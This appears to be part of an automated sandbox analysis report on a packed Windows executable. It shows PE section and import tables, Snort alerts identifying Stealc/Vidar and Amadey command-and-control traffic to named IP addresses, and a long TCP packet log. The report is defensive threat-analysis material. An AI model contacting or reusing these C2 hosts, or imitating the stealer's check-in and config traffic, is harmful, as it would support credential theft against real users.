IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x1b000	0xa400	dddb6d2da3cadb5a3dec10424cdfe177	False	0.9996427210365854	data	7.99509938642285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1c000	0x8000	0x4000	7cc2a21e475ba636874b032d2347c5de	False	0.99530029296875	data	7.980645956973941	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24000	0x213000	0x400	1d69eb99bff7e1d3de077c3b4f458aec	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x237000	0x5000	0x2000	a5021f26467b2364315b1db8fb592453	False	0.98974609375	data	7.953504387930496	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23c000	0x78e000	0x32800	42f71a13c130dec59f023f746a9141f1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x9ca000	0x227000	0x226800	03697b8a76466c4ca0fc3e0a9070995a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
msvcrt.dll	strncpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/02/24-15:25:59.662483	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49730	85.28.47.4	192.168.2.4
07/02/24-15:26:25.614319	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	49743	77.91.77.82	192.168.2.4
07/02/24-15:26:24.717429	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49743	80	192.168.2.4	77.91.77.82
07/02/24-15:25:59.300922	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49730	80	192.168.2.4	85.28.47.4
07/02/24-15:25:58.625923	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49730	80	192.168.2.4	85.28.47.4
07/02/24-15:25:59.479785	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49730	85.28.47.4	192.168.2.4
07/02/24-15:25:59.481127	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49730	80	192.168.2.4	85.28.47.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 15:25:58.618942976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:58.625354052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:58.625745058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:58.625922918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:58.631849051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.299519062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.299698114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:59.300921917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:59.305721045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.479784966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.479969978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.479991913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:59.480102062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:59.481127024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:59.485915899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.662482977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.662507057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.662516117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.662633896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.662652016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.662694931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:59.662759066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:59.664279938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:59.669040918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.868710041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.868798971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:59.889553070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:59.889585018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:25:59.899094105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.899116993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.899128914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.899141073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.899152994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.899164915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.899221897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:25:59.899233103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:00.638066053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:00.638197899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:00.861979008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:00.867153883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.043092966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.043108940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.043121099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.043220997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.043483019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.043494940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.043514013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.043524981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.043540001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.043544054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.043553114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.043576956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.044419050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.044430017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.044450045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.044478893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.044511080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.044902086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.044953108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.045120955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.045171022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.122843027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.122860909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.122881889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.122941017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.122957945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.122958899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.122971058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.122987986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.123003960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.123024940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.125097990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.125262976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.135855913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.135868073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.135885954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.135940075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.136118889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.143831968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.143845081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.143908978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.144073009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.144083977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.144102097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.144136906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.144136906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.144155025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.144165039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.144182920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.144193888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.144200087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.144222975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.144242048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.144804955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.144817114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.144834995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.144845009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.144862890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.144865990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.144879103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.144892931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.144902945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.205018044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.205034018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.205053091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.205064058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.205105066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.205137014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.205153942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.205166101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.205184937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.205202103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.205219030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.205223083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.205270052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.211920977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.211936951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.211955070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.211999893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.212037086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.212430000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.212440968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.212462902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.212487936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.212487936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.212496996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.212502003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.212519884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.212533951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.212541103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.212558031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.213032961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.213043928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.213062048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.213087082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.213099957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.213123083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.213135958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.213171005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.223962069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.223973036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.223993063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.224060059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.224188089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.224200010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.224217892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.224226952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.224241018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.224262953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.224389076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.224400043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.224416018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.224433899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.224453926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.224750996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.224762917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.224781990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.224812031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.224824905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.224872112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.224881887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.224900007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.224927902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.224937916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.225693941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.225704908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.225722075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.225760937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.225779057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.226233959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.226246119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.226264000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.226299047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.226891994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.226927996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.226950884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.308037996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.308052063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.308073044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.308136940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.308165073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.308171988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.308182955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.308201075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.308223963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.308245897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.308540106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.308551073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.308568954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.308581114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.308593035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.308620930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.309134007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.309146881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.309184074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.309201956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.309782028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.309793949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.309812069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.309833050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.309858084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.309895039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.309906960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.309947014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.313133955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.313144922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.313168049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.313190937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.313205004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.313462019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.313473940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.313492060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.313513041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.313534021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.313585043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.313596010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.313615084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.313632965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.313654900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.313721895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.313736916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.313755989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.313774109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.313796997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.314491034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.314501047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.314519882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.314543009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.314580917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.314593077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.314604998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.314623117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.314646006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.314660072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.315414906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.315464020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.323251963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323262930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323283911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323304892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.323324919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.323591948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323602915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323621035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323631048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323643923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.323658943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323669910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.323669910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323689938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323698044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.323702097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323721886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323733091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323733091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.323753119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323760986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.323764086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.323791027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.323806047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.324608088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.324620008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.324637890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.324656963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.324661970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.324670076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.324683905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.324690104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.324708939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.324708939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.324723005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.324733973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.324742079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.324762106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.324781895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.325408936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.325419903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.325438023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.325459957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.325470924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.325483084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.325484991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.325504065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.325505972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.325512886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.325515985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.325541973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.325542927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.325553894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.325555086 CEST	80	49730	85.28.47.4	192.168.2.4
